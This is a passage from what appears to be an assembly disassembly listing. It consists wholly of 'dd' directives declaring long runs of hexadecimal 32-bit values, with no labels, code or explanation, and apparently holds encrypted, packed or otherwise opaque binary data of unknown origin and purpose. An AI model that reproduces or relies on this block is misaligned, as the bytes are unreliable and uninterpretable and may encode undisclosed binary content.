		dd 197591EDh, 0A2C50166h, 0E90801F3h, 0D8655F88h, 4EB29C01h
		dd 0F256FA4Ch, 7B411311h, 73100D10h, 0E8872A9Fh, 706A4432h
		dd 5C78B72Bh, 219A6434h, 4F2D05FEh, 0D3A3AA28h,	7CB66882h
		dd 8B62C1DCh, 0DF3F6AA6h, 1BC425E0h, 9717193Eh,	0ADB876D9h
		dd 0AF45C1A4h, 537DC2B1h, 0C0974F57h, 725ABDD0h, 143EC23Dh
		dd 564ACC4h, 63F82623h,	59640BEh, 3ECAF181h, 0F100E04Bh
		dd 62875CC2h, 0F6CB4C01h, 0E97F0841h, 0B24D28FFh, 45F6410Bh
		dd 99FAD8B1h, 47B7089Fh, 0EE68AD02h, 1E51F931h,	25F44257h
		dd 3C473A03h, 0EC2AC53Fh, 64A7C5F6h, 0E9D7A4ECh, 221B2C14h
		dd 0F8C2E144h, 12F5097Fh, 78F377ECh, 0F91786ACh, 5C3A20BFh
		dd 0F1975453h, 0F0E95041h
		dd 0E491579Ah, 6885F910h, 6B6AE1Eh, 0E8535214h,	232DA305h
		dd 871F8137h, 89CECC09h, 0F9234095h, 3E20B01h, 87E11AE9h
		dd 65A8EC5Bh, 0B983989Fh, 624600A4h, 0F0CBBB1Dh, 0CBA041DDh
		dd 0FFC587E9h, 0E3C3CD21h, 5609EC4Eh, 20DEE6F7h, 551DF27Ah
		dd 74CAF8BDh, 0F8B9D81Fh, 0C645368h, 0FDEDE909h, 0EB77BC1Ah
		dd 0FD45AA13h, 68058345h, 0EF313709h, 855390E9h, 0F0DAB253h
		dd 0EC6DA86Eh, 90C14C69h, 91AE602h, 0D05F370Ch,	0DB070977h
		dd 0B0548D33h, 7F4C9030h, 0A1435E82h, 0BC0EC7AAh, 221B0AB1h
		dd 4C83D1E9h, 0AE574A08h, 0EB454BCAh, 56F59230h, 2658FAF4h
		dd 314B8EC6h, 0AF90C178h, 70203738h, 2FCA959Fh,	5366B1D7h
		dd 0C4F1DDC2h, 85409C65h, 43B4B850h, 0E8315F92h, 7F3500C0h
		dd 0D1FD755h, 984D3C85h, 0E0F8E99Dh, 0F93890C5h, 908935ABh
		dd 0B809B2D1h, 0FC291C27h, 90CC8D6h, 0AB900FE9h, 6A1D95CBh
		dd 0F38018B4h, 2D113157h, 0C50EC14Bh, 7B17AF4Fh, 0D9B8DB85h
		dd 98ECE9A1h, 99118A8Dh, 0C8998368h, 4D7764Eh, 6BC635DCh
		dd 3DD318C0h, 0AB624B30h, 4A08B910h, 0E9A07A84h, 114BD666h
		dd 0FC5AD0E9h, 194B4AD1h, 894FD6FBh, 737D2877h,	0A60D9364h
		dd 2CFE18A3h, 0B75B319Bh, 0DFF2BAE6h, 2E5C5076h, 0DBEA1AE4h
		dd 0C84B5F0Fh, 0DA0B599Ah, 48572504h, 0A98D889Ah, 49FC2B10h
		dd 605E612Fh, 7875F4ADh, 4F4D40E9h, 4B277682h, 0E1025A7h
		dd 0E0BF54D2h, 0E9438BC2h, 5A7EE3E7h, 2DC4B6BFh, 1321665Eh
		dd 8D6989E9h, 17062AAFh, 0ECC18D1Eh, 60F06939h,	0F2F59309h
		dd 0D281549Ch, 68A93453h, 7E07A50Fh, 0A44961E2h, 357DAB18h
		dd 0E6139CEFh, 79BC3A47h, 0C6255D3Dh, 68E147DBh, 327E6F89h
		dd 115E066Bh, 90BC5D25h, 0B3ED215Eh, 0D28B0594h, 0DC5FCD62h
		dd 10D8EAD0h, 0BF041397h, 0A33A95E8h, 0CEC3C160h, 3548633Eh
		dd 60089044h, 8F24C10Ch, 0B2E9861h, 272142A1h, 25FA6B2Ch
		dd 290CEC60h, 7ACF7E0Fh, 581966E9h, 98195A43h, 0DAE47503h
		dd 102D8690h, 1F5BD328h, 198318BDh, 12487868h, 0F24150FEh
		dd 9A1B4109h, 8F8D8071h, 9D1CEE0Bh, 58417A42h, 1D447C75h
		dd 0D3C9C3FEh, 0BCF2D977h, 8B3ABCAEh, 0F38429B0h, 0E8B80075h
		dd 0B84AAD14h, 76C400D0h, 0BF573A13h, 0B4171E83h, 9BA0935h
		dd 8578AE1Ah, 5437FCBFh, 2B3F4CC1h, 0BA3C5E4Bh,	1432E90Ch
		dd 0CA0BEF35h, 747A7D95h, 6F242F7Ch, 0F8B2CC5Bh, 39806B40h
		dd 0F69E93CEh, 1D2ACCD7h, 0C509ED45h, 0EB5AE333h, 7DA4F2C4h
		dd 383F27E7h, 8F06C831h, 0EB9B0440h, 0DE88EECDh, 58161F6Bh
		dd 9A13D3F6h, 0D4E1F8F8h, 0C5C8D659h, 5C4FC974h, 1DD9657h
		dd 2EEF3DBBh, 4002E2C1h, 0E4FD7ADh, 98E9070Ah, 0FFA51689h
		dd 15B6FDE4h, 28F3324Ch, 38DC647Ah, 0FB4E4AB2h,	0B640379Bh
		dd 72D5829Ch, 1BFF25AAh, 8EAA7822h, 22EF01F9h, 76055864h
		dd 0DA68419Eh, 5E55C249h, 0CAF17215h, 0D2E95CE0h, 0B924C0A0h
		dd 20C67B43h, 2A945AF4h, 723FBE00h, 0F6570352h,	0D5289F69h
		dd 0D8F827E7h, 5A2DF49Fh, 125DAA84h, 0DAADEABh,	2B92E4E9h
		dd 998CA4D8h, 78A0DA8h,	0C00E3A0Ch, 8E3EB36h, 6F019D75h
		dd 0F9292EBBh, 0B908E6A0h, 19C86E3Ch, 82010288h, 1B8E685Ah
		dd 3AEB4FDh, 51E1EE81h,	0C041039h, 65225EC7h, 958497C4h
		dd 0CC0B0812h, 82222DDh, 17EF70DAh, 0C5D028E0h,	6056CB26h
		dd 0D7EFC6Ah, 0EDE0B76Ch, 329309C1h, 72BDFE17h,	28E3BF92h
		dd 656C7B13h, 0D7C6041Ch, 4F050797h, 2D22AF20h,	2B160603h
		dd 0AAD8297Eh, 1027E625h, 9714B3ABh, 4BD6671h, 418C7F6Bh
		dd 1E569F06h, 0BED32926h, 25531408h, 0FA0336D6h, 0FA096619h
		dd 4911F1C2h, 9BDA40F7h, 2045040Ch, 0AAEA835Bh,	665D508Eh
		dd 4A2E9517h, 8DCB18Dh,	0BD007BBBh, 995D32B9h, 0FAEB7431h
		dd 976F70FEh, 12F3D6DCh, 4B7AE967h, 8CA04B29h, 0E010C1A5h
		dd 2E49D9FBh, 18C40A64h, 7DD6A080h, 1368134Dh, 0C450CD19h
		dd 0E197B167h, 8C3A828Ah, 502E681Fh, 16F9A1Ch, 2400FAFh
		dd 1E63D420h, 3705B56h,	0B3233035h, 3305EED5h, 0CCEE4520h
		dd 540CC596h, 0C33773Eh, 511112F9h, 3109FA6Dh, 0F0C949E2h
		dd 0BFA036DDh, 9748E0FEh, 7DA6DEF1h, 21B44F22h,	9822B400h
		dd 3CE3815Eh, 175C3F4Ah, 3A2EF302h, 5D4760h, 0D76BD77h
		dd 3158181Fh, 86075CC5h, 3D86D78Ah, 982016C6h, 0FFEEEB93h
		dd 2E1E6C89h, 747C882Fh, 10D578CAh, 4C825C9Ch, 71154A32h
		dd 18961F5Ah, 0F69C62AAh, 0C7BED482h, 2A7CD3F9h, 4E960E1Ch
		dd 54F0318Eh, 0CED10ABh, 81EE0179h, 564374CEh, 961FF477h
		dd 553A66B5h, 0AE2E9DCDh, 19B70764h, 0FFE0B48Bh, 9F0F3558h
		dd 653B524Dh, 0E2FFFE6Fh, 0D0291E2Bh, 16EF72CDh, 5B4E8F30h
		dd 970FFD30h, 55ECBFEh,	6DA307DFh, 731F66C0h, 0E939129Bh
		dd 0EE3A53BAh, 3540ADFh, 7408003Bh, 0EFC15F34h,	0F7008107h
		dd 186DCB38h, 260C5805h, 144047DAh, 0EC4A072Dh,	1E017B9Fh
		dd 9A3524C7h, 0E8809E65h, 4060698Ah, 0B01D752Dh, 97BB2956h
		dd 1C04E8C1h, 6800884Bh, 6A8B0173h, 40B41A95h, 0A03AE53Eh
		dd 7F54A75Fh, 0DE3EC76h, 235D03E7h, 0F130DC18h,	0FAE96016h
		dd 55B798C1h, 0E353CDDh, 0ED03C16Bh, 2A21ED08h,	84EB4894h
		dd 0EA0B1222h, 352B9ACDh, 0E9B2EF4Ah, 99556F27h, 0E970515Dh
		dd 620E964Bh, 0A07DED1Fh, 2846215Fh, 0F5892F77h, 8F170E70h
		dd 4FAEFE18h, 8932943h,	0B80913C2h, 33F8051Ah, 0D6D80BEh
		dd 0BD001434h, 36C4250Ah, 5C3510EDh, 0B775EAC6h, 2F3AB6D4h
		dd 0A40B5B6Fh, 605FC9ABh, 95E70FEFh, 6ACE54F4h,	0F76994E2h
		dd 2E554119h, 9132BEEh,	3A4FE1E9h, 0F73AF724h, 5A7EF25Fh
		dd 0EEE249D7h, 84E31E60h, 2DF3FF3Fh, 537D0046h,	2F5059B7h
		dd 0EAF0E1B0h, 0F89E77FCh, 0B7BA7A25h, 46B7259h, 660033A0h
		dd 0F9B65251h, 0A1C6FE24h, 0D6884A09h, 0AECABFDEh, 0C330C331h
		dd 882D313Fh, 0D6D630C7h, 0BEE99C4Eh, 1F1800D3h, 1450955h
		dd 2578CA58h, 9319D140h, 0EA78C4D1h, 4C57B762h,	2B89412Fh
		dd 0F9AAAD24h, 555CB21Ah, 6F88A07Ch, 64545109h,	3917BE37h
		dd 1CBB375Fh, 3F6E8283h, 44E04E3Eh, 0BA251244h,	5498E864h
		dd 92CDE02Bh, 85153840h, 0D275FA4Bh, 0D0F06849h, 0BF4D9034h
		dd 0FA897AD6h, 0A2825F5Bh, 0AE663060h, 4A04620h, 1971772Dh
		dd 3BA5F153h, 50C0F1ADh, 952C4468h, 0B106545Ch,	4B92C6E9h
		dd 42C4EB03h, 0F8BC8199h, 0DF73B9CEh, 1D2C3507h, 936ED807h
		dd 15232104h, 6FD9A813h, 0FE6622FEh, 0DB037F14h, 200999F4h
		dd 2B25259h, 5D8915A9h,	4492F7E6h, 13BF4140h, 0ECDB124Ch
		dd 4E3A3801h, 70AE31AAh, 2BC704E7h, 5385673h, 6DAF4D37h
		dd 0A912EAC1h, 0D239ECF1h, 7872E301h, 2A540140h, 0C02BB34h
		dd 0D67AA5E9h, 1C4A6215h, 7FD22EF4h, 17E591F9h,	0CF4B89BDh
		dd 109C48CDh, 5C306A97h, 218AB871h, 917692Dh, 2BE70752h
		dd 0E903DBC0h, 506DEDEFh, 0C70A2881h, 2FCBE506h, 10509463h
		dd 4E6B1060h, 0C04221FFh, 0C78901E4h, 0E87FFBC9h, 8159C3EAh
		dd 0D207E8EFh, 0B56A977Ch, 0EAF6080Bh, 0CCDD295Ah, 0EC72540Dh
		dd 30E700BDh, 0E5810CA3h, 743B6EDAh, 0A5ED0063h, 10AB716h
		dd 42E918EBh, 4778313Dh, 297EE71Fh, 58E65D1Ch, 4630FB0Bh
		dd 201A9038h, 14E942Ah,	68F4D8FFh, 0C7967E7Bh, 25C22964h
		dd 0F227D23h, 0C275CCCDh
		dd 1624D38Dh, 7BF1F1CFh, 0BFD2D8F2h, 2DE9E56Ch,	37E41A19h
		dd 3ED0F739h, 339314D8h, 2A2985Dh, 1CE1FD2Ch, 125B9A2Bh
		dd 97A1CEE9h, 3808CF20h, 0FB5BCAB2h, 0E8789D0Bh, 2F8634C8h
		dd 9877EDE4h, 5A3F68C6h, 8A033110h, 5E3C7AE7h, 0D80B9FEEh
		dd 32A870Ah, 18B22C6Bh,	5677E6EAh, 60BE40CBh, 121EF47Ch
		dd 5E027729h, 61D2315Bh, 51021545h, 0E312F675h,	9ED173C1h
		dd 0F4503A7Ch, 0BD4A7508h, 0AA68FD05h, 0FA11A0C3h, 2D397E26h
		dd 9B0CA15Ch, 9F5E0E87h, 0DB7962F4h, 548DF68h, 0F3B66F48h
		dd 7EE9500Bh, 8CF0DCF2h, 211E5C64h, 0D90D575Bh,	0AC2A6985h
		dd 9031B1CBh, 0BED6116Dh, 46BA9764h, 20286A8Fh,	0A6D03026h
		dd 20D55ACBh, 0A4B919CAh, 86512003h, 0A103F202h, 633B68D3h
		dd 846CCF51h, 1142F77Fh, 0BF00EFAAh, 23A045CDh,	8BB5D787h
		dd 69B72901h, 0E824FA5h, 7DBB7361h, 534D80FDh, 262CB268h
		dd 1D41139h, 0F5401ACBh, 0AEF3D86Dh, 7AA16317h,	2052F80Eh
		dd 4FE93E1Bh, 0B16880A7h, 84C40259h, 4EEFEC6Bh,	1D652989h
		dd 9B98F16h, 20E2A4E9h,	255AD029h, 452938D3h, 0E7093CC8h
		dd 9F05342Fh, 0E08C01D9h, 82493337h, 0B4E94110h, 5AB1D5E2h
		dd 0B633391Bh, 2CFC446Eh, 0A816989Ah, 3B00334Ch, 5B5559CDh
		dd 0C731485Dh, 0D099E985h, 0F02058B1h, 6884109Eh, 0A8993679h
		dd 0AA10BCB5h, 523C1CF3h, 80C6660h, 890909B1h, 40AFE9CEh
		dd 0FF555B53h, 9512BFE0h, 0D737C696h, 0C56229EAh, 0EC6E7F9Eh
		dd 2A8E509Dh, 32C47C61h, 373B1AD7h, 8A049A48h, 906A59BDh
		dd 0F5810033h, 0B2572AD2h, 5DE82689h, 0ECA28B4Eh, 45C9ACFEh
		dd 0B2E813AAh, 1AE9C52Dh, 950540F0h, 0F55857D4h, 7A8F162Eh
		dd 6CCD0845h, 70525F09h, 36FB3A9Fh, 75C3BA0Fh, 0FAFE290Bh
		dd 0DB9CE40Ch, 8C134B30h, 1F2C7281h, 0C9019F35h, 60BB25DEh
		dd 402AE821h, 442BC158h, 0E1EA6303h, 14410537h,	891ED71h
		dd 0EE01F650h, 162EF5E9h, 0E0DFF88Dh, 51B592Dh,	0F829713Ch
		dd 21071305h, 2B5C3D6Bh, 0EB8F4427h, 0AD9C7CE1h, 0F220695Ah
		dd 0DF94BF6Ah, 0DBD7E38Ah, 0BDE52522h, 0C020C604h, 26074DB0h
		dd 962984E9h, 0B5AAE866h, 8BB65000h, 2D5AF088h,	0A044C328h
		dd 43821FEEh, 0FBB7B9CAh, 24FCF72Ah, 0A2748CAh,	4359D820h
		dd 137CE3DCh, 0B49EA3Ah, 886C6DF4h, 9D0F2235h, 0AF6DD5AAh
		dd 0FFC29E81h, 0E971E06Ah, 9C854D2Fh, 81709F5Ah, 9ABB1CD2h
		dd 0C38004E3h, 4BFBE9C8h, 0F87C5F1Eh, 0A5D0AF27h, 0B6D016D6h
		dd 1BE565Dh, 2F57521Ah,	2006E6C1h, 0C2E16075h, 936EE5FDh
		dd 3551C037h, 0C600720Ah, 0B054022h, 0BDA2E670h, 4E5A5950h
		dd 2C6880A0h, 16CE3DF1h, 0F0106740h, 0B4BBB151h, 6038367Fh
		dd 0D99703Fh, 0DE015B84h, 7F1CD8Dh, 2C875C00h, 0E21F54BDh
		dd 0E7DF4DDAh, 123A43Bh, 9B69ADBDh, 2D57604Eh, 44F27F17h
		dd 0E8D6AB01h, 5D00938Dh, 525A88E9h, 96260DB6h,	1B90A565h
		dd 35F8D921h, 0D9A24155h, 50046F98h, 2DBE2C33h,	1066329Ah
		dd 0FD4849BAh, 820A4207h, 2AF8EE05h, 0E21F10B4h, 0F5D45D71h
		dd 7F935207h, 9E871160h, 50309C50h, 831CE455h, 0CACCFECCh
		dd 171E6005h, 1B6309B8h, 0EB251F03h, 0A815752Dh, 4C043CCCh
		dd 0AC5E5748h, 0F905389Ah, 0B5D1FC9Dh, 0DD1BB70h, 87E0B0C3h
		dd 0C3BBDF54h, 755D1210h, 19640C06h, 0FC3662B9h, 4108A3EAh
		dd 1920140Ch, 77D39A1h,	3994E909h, 0F35086DEh, 755CBF5Eh
		dd 0BE27F62h, 451607D6h, 0B6A132B8h, 4E5901E3h,	0E3FB02Bh
		dd 97DF10Fh, 7423E4D6h,	0A28E98EFh, 0AA3B1562h,	0BC525159h
		dd 0A7648CACh, 0A908317Dh, 0E05A8B53h, 1675CBEBh, 1301433Eh
		dd 95D10F5h, 2EC4AD4Ah,	4BBBAE6Dh, 0ACEA5384h, 464EA111h
		dd 0E46F0B35h, 170AE5BFh, 0FE1ADC7Ch, 98400602h, 94457802h
		dd 83C580C8h, 29794B0Fh, 4114297h, 6815A08h, 924B60CDh
		dd 6B809527h, 0C0FEE72Ch, 0E2ECBAFAh, 98C3883Fh, 0CB3522BCh
		dd 775E0458h, 0C2D3F73Fh, 0D4096DFCh, 68118B4h,	0E65F6601h
		dd 0F93F0FA1h, 0D82AADE7h, 6341D0EDh, 4029F73Ah, 0E113F61Eh
		dd 0F406EE9h, 1F630D48h, 0D1672479h, 430F015Ah,	3131D502h
		dd 0A1A17F3Ah, 6561982Bh, 47A311BAh, 10EE16F0h,	80BF4297h
		dd 876C8318h, 0DAF72765h, 0FD2A8055h, 9009E806h, 212B096Eh
		dd 26057CFCh, 0E54DE434h, 12286AEDh, 0E1AB9621h, 0A02AE9h
		dd 22877B8h, 0F0051C0Ah, 39406F60h, 2834E8Ah, 5E5C559Ch
		dd 0BE8289FEh, 0C00154A9h, 0E13E02E7h, 38EA61E6h, 0B5E9136Dh
		dd 98684942h, 8DBE7127h, 0F4F0DE37h, 0DA820D1h,	9B0EB353h
		dd 41DE8852h, 17E95AF4h, 12767878h, 85EF021h, 0B92866B3h
		dd 0DDA22E2Ch, 26E4756Bh, 79A4DCB5h, 0D6B36AE2h, 0DDEBE893h
		dd 0A7F65756h, 67590092h, 0D0A9E36h, 7253D5Ch, 777B3563h
		dd 0D6E46B55h, 2E804142h, 99AD6DB1h, 0BE5A955h,	133CFFC3h
		dd 976EDE20h, 0DCD09102h, 0A5B1B801h, 0E83B7731h, 0F9F174Ah
		dd 80D21B60h, 4C9170EBh, 0B7758DF3h, 18CEDF14h,	2CF71F7Bh
		dd 890DDC5Bh, 7A7405E2h, 601CC9EBh, 0B94E5228h,	8DE9B28Fh
		dd 0DA280EDAh, 619DFAF5h, 0D88EE731h, 67E4D588h, 0FC1B9461h
		dd 8BAF4AF6h, 28112C5h,	675507E6h, 0C4E3B26Ah, 39EC6B74h
		dd 9A45DFCFh, 0CB0A530Ch, 646E169Eh, 583A0EE2h,	0B268D005h
		dd 6D4A204Fh, 0A9988E65h, 71604D25h, 312D3C0Ch,	40FD7FCAh
		dd 25685185h, 37907EF4h, 0E9126AB3h, 19A337AFh,	9605C05Bh
		dd 2332C21Bh, 0A9574A5Dh, 27125F11h, 72884056h,	0C55F6955h
		dd 41F449A1h, 0AE4F2020h, 0F6EE8F84h, 0B8E98FF4h, 0FF031BDh
		dd 5650D6F7h, 0AA822964h, 6EE44044h, 7BF85592h,	13680F8Fh
		dd 7A12B6D6h, 98BDEF7Dh, 0BF2DD59Dh, 0D1FA1E50h, 38CE0DD2h
		dd 0E905315Bh, 4ABD38C7h, 10DFDBEAh, 8096B850h,	398468A8h
		dd 4BBDD39Fh, 17E0E356h, 807DF62Ch, 1B271CC3h, 87EA86Dh
		dd 14090C34h, 0ECF0915Fh, 0AD11072Eh, 616B7F52h, 102E7973h
		dd 0C7E1D5A5h, 0C30E445Dh, 0BB850FF9h, 1BC552A6h, 0CD9AEEAh
		dd 501DCB40h, 473F092Bh, 0A3A440E9h, 83A9FA5Ch,	0DE30043Bh
		dd 7E9060Ah, 9627A196h,	53024A5Ch, 9E89EC89h, 0F7CFCD5Dh
		dd 0E06843D1h, 0EF56F558h, 5D41A6A1h, 0A052EDCh, 13D1300Fh
		dd 1014A85Eh, 0CD906FEEh, 8F61A005h, 9A00BB4Fh,	4B626CCBh
		dd 31910B35h, 440B650Eh, 679708D0h, 34E98B34h, 0F688D150h
		dd 527A4389h, 0D12DDC90h, 64F5FCE0h, 0BA199458h, 0E912628Fh
		dd 5261409Ah, 0CA8078B2h, 7E06B763h, 0EA83B7FEh, 5AD3817Dh
		dd 1F8BA430h, 0F4EB151h, 0E9E1ACE1h, 0D0CB2815h, 6BC1559Dh
		dd 4F7714CAh, 518FB02Ah, 78E20400h, 25E9EAD1h, 0AE26D68Bh
		dd 5200DB2Bh, 0A7602568h, 5EC5A66h, 3330474Eh, 122A7798h
		dd 0B09BE927h, 0C9E5EB9h, 10733E09h, 2E64D69Fh,	8C4EA1h
		dd 3DDE2638h, 40BDE3C1h, 2757BE04h, 0CA7D7689h,	0B6717DC3h
		dd 76D98B8Bh, 4D55E907h, 0D1E9854Dh, 4327EF6Ch,	34929885h
		dd 4063DF5Dh, 0BAE4F7E3h, 46E9DC30h, 0C79B2F8h,	7E0F6D94h
		dd 0F91C35CAh, 2D010E73h, 51A30471h, 3F9656E8h,	0AC8B2876h
		dd 4FD5E1Dh, 1FB1056Fh,	59EEAD0h, 78E96924h, 0BAEE4209h
		dd 0BA40E3E0h, 0E6FAD101h, 0A4067448h, 8F1058ADh, 0D989284Bh
		dd 2984752Dh, 6F0BF50Eh, 5E557032h, 0BADC253Ah,	6799597Ah
		dd 8CED2C7Ah, 14327332h
		dd 2C6F5016h, 1A32EC08h, 86C27740h, 68176E7Ah, 60AE50DCh
		dd 0F00FE9CAh, 360B099Ah, 0FC565833h, 0C17D5A9Bh, 0DB6003A4h
		dd 9D549FF3h, 56658342h, 9168E157h, 0BE23F1Ah, 137FA5D0h
		dd 0AB70CF30h, 0C20368B2h, 48A037B5h, 68E91309h, 9514862h
		dd 9849B4Bh, 0EF7F22Ch,	41A296F6h, 6F64447Ah, 2E7D1143h
		dd 6F343EC6h, 16124404h, 0D6C801EFh, 0D8166654h, 0F51775F3h
		dd 1D17DF45h, 3A47F66h,	9991AFC8h, 634888E9h, 426E059Fh
		dd 25A8468Dh, 8745DD18h, 8482230Ch, 28BE6402h, 5865FD49h
		dd 0F2FE6921h, 84985E09h, 8A6A1340h, 0E9F4BB0Bh, 153C69EAh
		dd 0E9254875h, 0B773BAA8h, 93C05612h, 7195ED68h, 4A48BDBEh
		dd 32046113h, 0B6845591h, 0CA4C9956h, 4A600078h, 760FC275h
		dd 0E2D8E5E0h, 0F8612892h, 80234ACDh, 429F6825h, 7DAF2AE1h
		dd 4E29684Ah, 72F1EA6h,	0E7D16702h, 416CEAC0h, 129835F4h
		dd 886B930Ah, 6602D572h, 0F62B7C32h, 5AB908B1h,	310BE597h
		dd 1743C478h, 0EFFA776Ch, 9B81B92Dh, 1DDA4ABCh,	4C46159h
		dd 27D9AA07h, 1CE4A12Bh, 0AC04BF21h, 573B8D46h,	0F030A8BEh
		dd 30E37FEFh, 7CC6278Fh, 756D1A61h, 806CABAh, 7BBECA3Bh
		dd 0E3088AA5h, 67220CADh, 97FECD75h, 68057194h,	0D5336199h
		dd 4454F757h, 16A836B4h, 742F38h, 40542D66h, 0E93E7F53h
		dd 0BB24600Dh, 5A0F466Fh, 3E77FC2Eh, 35A3CBB6h,	9F52501Eh
		dd 56E452CAh, 1542FE28h, 7F4D2F05h, 3CCBEB60h, 0FC274495h
		dd 0B55870A0h, 0DD5A92DCh, 54CBD8DBh, 0D67688E4h, 3C264B24h
		dd 853C3803h, 0BD0CEF15h, 0BBC54A34h, 2AF50389h, 0BD04902Ch
		dd 80204236h, 58B5EE1Fh, 0C6E5A31h, 4BF14A88h, 157A8087h
		dd 0CD2967FDh, 0E908031Ch, 0AFA208DAh, 450F6F9Dh, 0FD8A026Ah
		dd 9A2F64Fh, 0A0F7D6E9h, 0DD70749Eh, 67F6A078h,	0D0BE09FBh
		dd 9AF5DF29h, 50D34206h, 595F06CCh, 6D7FB168h, 93FCF525h
		dd 746BE901h, 5328DA23h, 14B7F4CAh, 0C1F728BCh,	3DE2E63Ah
		dd 5D0FD5DAh, 64F35C2Fh, 3F2EE5Dh, 0AE76E1A2h, 76E2C109h
		dd 615201DCh, 3314FB1h,	2C808C4Bh, 4C4A5607h, 0C387879h
		dd 0E9634D02h, 4C779A2Ch, 6808A0FBh, 9F14623Ah,	0D509E26Ch
		dd 94537905h, 3C7404EDh, 0B5E93134h, 9B3D842Eh,	71EA5A1Fh
		dd 7AFAA896h, 1A5832E7h, 0B7583520h, 89DD27D7h,	9805F23h
		dd 0B95102EBh, 231CC712h, 0A1AFBE13h, 0F0872875h, 0CB2373E9h
		dd 10D5DE77h, 5808FCC9h, 0B12757A8h, 0ABFC651Eh, 0D31F744Ch
		dd 6781FA12h, 94485668h, 51F94112h, 6642E0CBh, 0F1511358h
		dd 722A3CAEh, 55951E92h, 0E7D43A3Ah, 3C60641Ch,	85A5F488h
		dd 2B2D9AC1h, 0EBA45C97h, 0CEFE4491h, 9255BDDh,	8724D82Ah
		dd 0F7FECB72h, 0D508D56Bh, 0C43F362h, 0E69840F5h, 2DD278E1h
		dd 0E50BF6ECh, 0F07A8C42h, 53220D4h, 3DA1F19Dh,	12792F1Dh
		dd 0B5301B6Bh, 13399804h, 0BFC274E5h, 0D5078905h, 40304073h
		dd 0A034D5B0h, 4B2C38Bh, 16C4A10h, 13B0C4CBh, 8513E908h
		dd 9DD7EA59h, 5B60033Dh, 7A671738h, 0E500FB18h,	0E978871Dh
		dd 166DBC25h, 4E900151h, 7865BB4Dh, 0AC91666h, 0CF173AF8h
		dd 575FD271h, 2CB6FE0h,	42164916h, 37FA9501h, 0AD201C54h
		dd 6A0C044Dh, 90A9E90Fh, 7F9CB809h, 9F3677h, 0B42505D3h
		dd 0CE294866h, 0DE8BEF2Fh, 205652D4h, 5276EEDDh, 0A2437BFDh
		dd 0FA0A03C2h, 2FF4F84Fh, 49DC0788h, 0C8EAFC5Bh, 0ED5E5624h
		dd 540592B6h, 0BFE8685Dh, 0D9EF9E52h, 29182A87h, 6E2DA1A2h
		dd 0A6DA5029h, 4464080Ah, 0B912FA19h, 9848E6AAh, 620DA518h
		dd 2F73BAA7h, 0E7DA7A89h, 6706A6C6h, 8B46A13Bh,	119A0641h
		dd 5E0CC38h, 18014AECh,	72A72D2Bh, 0A16B69B5h, 0CA070791h
		dd 0E93F3011h, 7FC05248h, 2103CEEFh, 1970BD16h,	89A87B95h
		dd 1EF50205h, 0B73B13Eh, 0BCEC79E8h, 3759D180h,	511DD2Dh
		dd 81AEA56h, 0D07E575Eh, 8C1E4FD3h, 0DEA2DAA2h,	0FCBD83F8h
		dd 64C8FABCh, 7AF452CBh, 2EFC112h, 7D1E5F01h, 0FC7B082Bh
		dd 0FB5616B6h, 0F7CF88F8h, 0BA086845h, 9610248Ah, 5E5C27D2h
		dd 5587E000h, 46639FE9h, 9280C315h, 0DD41F729h,	58A420C9h
		dd 0EBAF7060h, 0FC090772h, 3421ED01h, 489E20E0h, 18703135h
		dd 1C1A6AE7h, 104E7EE9h, 4D79A9B3h, 844B871Bh, 30B4EE73h
		dd 0C6809D0Dh, 9F456FB9h, 2FE8165Fh, 25F320Eh, 48A0C9C0h
		dd 18C07167h, 2379521Eh, 9F244DE9h, 94C6800Eh, 0C306EE65h
		dd 0FC90F742h, 0B7EE5A5Bh, 0E739D67Dh, 2CCF9DA6h, 0D0DEEF9Dh
		dd 0F8C78C7Dh, 4522A30h, 0AAE9E688h, 9B1DB479h,	4719E195h
		dd 0D91202BFh, 2FA3BFDFh, 0C0BAD4D3h, 5017D65Eh, 34BA2E60h
		dd 0B0721C75h, 0C870E575h, 2D9E96A6h, 0C56819B0h, 0CAAC095Fh
		dd 0A1F5ACF4h, 7CEE93E9h, 0D2E4E4BAh, 4D7D5204h, 55E98904h
		dd 7EF29E10h, 0C2F59A09h, 1DC55F89h, 67563297h,	922AAA04h
		dd 0A1BD9395h, 1887287Ah, 0FAF62731h, 40A3D940h, 94F6396h
		dd 0B598D80Eh, 1E901BF8h, 290CAB94h, 10CEA8C2h,	59D235h
		dd 0E9E121Ah, 17B8BB53h, 0EA7FE24Dh, 9A8F274Fh,	6C22DF48h
		dd 9B9806CDh, 6CB810B0h, 0C02567B4h, 3E1AF6F7h,	0B57D270Ch
		dd 0F78972F1h, 88CC7ED6h, 88197B2Eh, 80CCF666h,	67167E2h
		dd 4BEA606Dh, 8612B551h, 14857BE9h, 3B829623h, 0EB12B706h
		dd 0B3CCFF65h, 0B3D04BDAh, 62EF2F9Eh, 887CD1A2h, 0AF283514h
		dd 0DE3A9509h, 48F7017Bh, 1FC0A4Ch, 0E2D180D3h,	3BE18180h
		dd 3AA7773Eh, 5F38C648h, 0B7D0EA2Ch, 84820F1Fh,	5835E914h
		dd 302C5805h, 0D04B3813h, 0B440EE17h, 31334100h, 12685EF1h
		dd 0A1199D01h, 3F3D3CBCh, 42630153h, 4B5B7EBAh,	862C0AF5h
		dd 0FEC3B704h, 73A482CFh, 4E7C0FDh, 53512D72h, 2A0FCCFEh
		dd 5887DD88h, 0E93EF780h, 0A1B749FDh, 0F9408C2Ch, 491B09EBh
		dd 0C161265Bh, 0E90840C3h, 0DEB96D28h, 7C24F7EBh, 0A211FF59h
		dd 40AA4AB5h, 22E0309Eh, 0CE26891Bh, 0B7177359h, 74AEE457h
		dd 0E7A8EB78h, 6AF6E9E0h, 42D22E9Dh, 774EC844h,	87BB3148h
		dd 60693B1Fh, 365F3C1h,	0CE9D7FF0h, 3555C1AAh, 3FFFC383h
		dd 583BF3B2h, 29173C14h, 48023904h, 7588EF2Eh, 0DB1625E9h
		dd 0FAFF14DDh, 0AC924F12h, 6CEBC040h, 0FC13C267h, 0BD859A1Fh
		dd 0B0AFCAD6h, 82791E41h, 4C6C9502h, 99D220DAh,	0F9C845EAh
		dd 0E62EA62h, 0D7F70283h, 0B095EB75h, 5BFF7AF5h, 0C8DC8620h
		dd 0CC7C340Bh, 10827741h, 3BD708EEh, 0FE91DAACh, 0A1542D6Ah
		dd 0F5CF49E2h, 8141B119h, 3744B911h, 8CEA6F79h,	0E2BD3CE0h
		dd 69F52DE0h, 77984DF8h, 3B5B2249h, 4EA7BECEh, 595B00CCh
		dd 0A93B2C76h, 0C063A013h, 450C351Bh, 0E98A500Bh, 68914030h
		dd 0E85B4A10h, 41CA276h, 5182F078h, 0A53497B5h,	6EE91EE8h
